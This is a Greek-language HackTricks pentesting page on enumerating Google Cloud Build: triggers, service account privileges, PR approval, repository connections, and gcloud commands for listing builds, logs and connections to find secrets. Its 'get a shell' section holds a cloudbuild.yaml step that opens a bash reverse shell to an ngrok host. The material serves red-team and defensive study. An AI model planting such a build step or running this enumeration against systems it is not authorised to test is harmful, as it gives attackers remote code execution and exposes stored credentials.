GCP - Cloud Build Enum

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βασικές Πληροφορίες

Το Google Cloud Build είναι μια διαχειριζόμενη πλατφόρμα CI/CD που αυτοματοποιεί τη διαδικασία κατασκευής λογισμικού και απελευθερώνει διαδικασίες, ενσωματώνοντας αποθετήρια κώδικα πηγής και υποστηρίζοντας μια ευρεία γκάμα γλωσσών προγραμματισμού. Επιτρέπει στους προγραμματιστές να κατασκευάζουν, να δοκιμάζουν και να αναπτύσσουν κώδικα αυτόματα, παρέχοντας ευελιξία για προσαρμογή βημάτων κατασκευής και ροών εργασίας.

Κάθε Cloud Build Trigger είναι σχετικός με ένα Cloud Repository ή συνδεδεμένος απευθείας με ένα εξωτερικό αποθετήριο (Github, Bitbucket και Gitlab).

Δεν μπόρεσα να δω κάποιον τρόπο να κλέψω το token του Github/Bitbucket από εδώ ή από τα Cloud Repositories επειδή όταν το αποθετήριο κατεβάζεται, προσπελαύνεται μέσω ενός URL https://source.cloud.google.com/ και το Github δεν προσπελαύνεται από τον πελάτη.

Συμβάντα

Το Cloud Build μπορεί να ενεργοποιηθεί αν:

  • Πιέσετε σε μια κλαδί: Καθορίστε το κλαδί

  • Πιέσετε ένα νέο ετικέτα: Καθορίστε την ετικέτα

  • Αίτημα ενσωμάτωσης (PR): Καθορίστε το κλαδί που λαμβάνει το PR

  • Χειροκίνητη Κλήση

  • Μήνυμα Pub/Sub: Καθορίστε το θέμα

  • Συμβάν Webhook: Θα εκθέσει ένα URL HTTPS και το αίτημα πρέπει να είναι πιστοποιημένο με ένα μυστικό

Εκτέλεση

Υπάρχουν 3 επιλογές:

  • Ένα yaml/json που καθορίζει τις εντολές προς εκτέλεση. Συνήθως: /cloudbuild.yaml

  • Μόνο μία που μπορεί να καθοριστεί "inline" στην ιστοσελίδα κονσόλας και στο cli

  • Η πιο συνηθισμένη επιλογή

  • Σχετική με την μη πιστοποιημένη πρόσβαση

  • Ένα Dockerfile για κατασκευή

  • Ένα Buildpack για κατασκευή

Δικαιώματα SA

Ο Λογαριασμός Υπηρεσίας έχει το πεδίο cloud-platform, έτσι μπορεί να χρησιμοποιήσει όλα τα προνόμια. Αν δεν καθοριστεί κάποιος SA (όπως όταν γίνεται υποβολή), θα χρησιμοποιηθεί ο προεπιλεγμένος SA <αριθμός-έργου>@cloudbuild.gserviceaccount.com.

Από προεπιλογή δεν δίνονται δικαιώματα, αλλά είναι αρκετά εύκολο να δοθούν κάποια:

Έγκριση

Είναι δυνατό να διαμορφωθεί ένα Cloud Build για απαιτεί έγκριση για την εκτέλεση κατασκευής (απενεργοποιημένο από προεπιλογή).

Έγκριση PR

Όταν το trigger είναι PR επειδή οποιοσδήποτε μπορεί να κάνει PRs σε δημόσια αποθετήρια θα ήταν πολύ επικίνδυνο να επιτραπεί απλά η εκτέλεση του trigger με οποιοδήποτε PR. Επομένως, από προεπιλογή, η εκτέλεση θα είναι μόνο αυτόματη για ιδιοκτήτες και συνεργάτες, και για να εκτελεστεί το trigger με PR άλλων χρηστών, ένας ιδιοκτήτης ή συνεργάτης πρέπει να σχολιάσει /gcbrun.

Συνδέσεις & Αποθετήρια

Οι συνδέσεις μπορούν να δημιουργηθούν μέσω:

  • GitHub: Θα εμφανίσει ένα παράθυρο OAuth που ζητά άδειες για να λάβει ένα τοκεν του Github που θα αποθηκευτεί μέσα στο Διαχειριστή Μυστικών.

  • GitHub Enterprise: Θα ζητήσει να εγκαταστήσετε ένα GithubApp. Ένα τοκεν πιστοποίησης από τον διακομιστή σας GitHub Enterprise θα δημιουργηθεί και θα αποθηκευτεί σε αυτό το έργο ως μυστικό του Διαχειριστή.

  • GitLab / Enterprise: Πρέπει να παρέχετε το τοκεν πρόσβασης API και το τοκεν πρόσβασης Read API που θα αποθηκευτούν στο Διαχειριστή Μυστικών.

Αφού δημιουργηθεί μια σύνδεση, μπορείτε να τη χρησιμοποιήσετε για να συνδέσετε αποθετήρια στα οποία ο λογαριασμός Github έχει πρόσβαση.

Αυτή η επιλογή είναι διαθέσιμη μέσω του κουμπιού:

Σημειώστε ότι τα αποθετήρια που συνδέονται με αυτόν τον τρόπο είναι διαθέσιμα μόνο στα Σημεία Ενεργοποίησης που χρησιμοποιούν τη 2η γενιά.

Σύνδεση Αποθετηρίου

Αυτό δεν είναι το ίδιο με μια σύνδεση. Αυτό επιτρέπει διαφορετικούς τρόπους να έχετε πρόσβαση σε ένα αποθετήριο Github ή Bitbucket αλλά δεν δημιουργεί αντικείμενο σύνδεσης, αλλά δημιουργεί αντικείμενο αποθετηρίου (της 1ης γενιάς).

Αυτή η επιλογή είναι διαθέσιμη μέσω του κουμπιού:

Αποθήκευση

Μερικές φορές το Cloud Build θα δημιουργήσει μια νέα αποθήκευση για την αποθήκευση των αρχείων για το trigger. Αυτό συμβαίνει για παράδειγμα στο παράδειγμα που προσφέρει το GCP με:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

Δημιουργήθηκε ένα κουτί αποθήκευσης με το όνομα security-devbox_cloudbuild για να αποθηκεύει ένα αρχείο .tgz με τα αρχεία που θα χρησιμοποιηθούν.

Λήψη κέλυφους

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Εγκατάσταση του gcloud μέσα στο cloud build:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Απαρίθμηση

Μπορείτε να βρείτε ευαίσθητες πληροφορίες σε ρυθμίσεις και logs των builds.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Εscalation προνομίων

pageGCP - Cloudbuild Privesc

Μη εξουσιοδοτημένη πρόσβαση

pageGCP - Cloud Build Unauthenticated Enum

Μετά την εκμετάλλευση

pageGCP - Cloud Build Post Exploitation
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated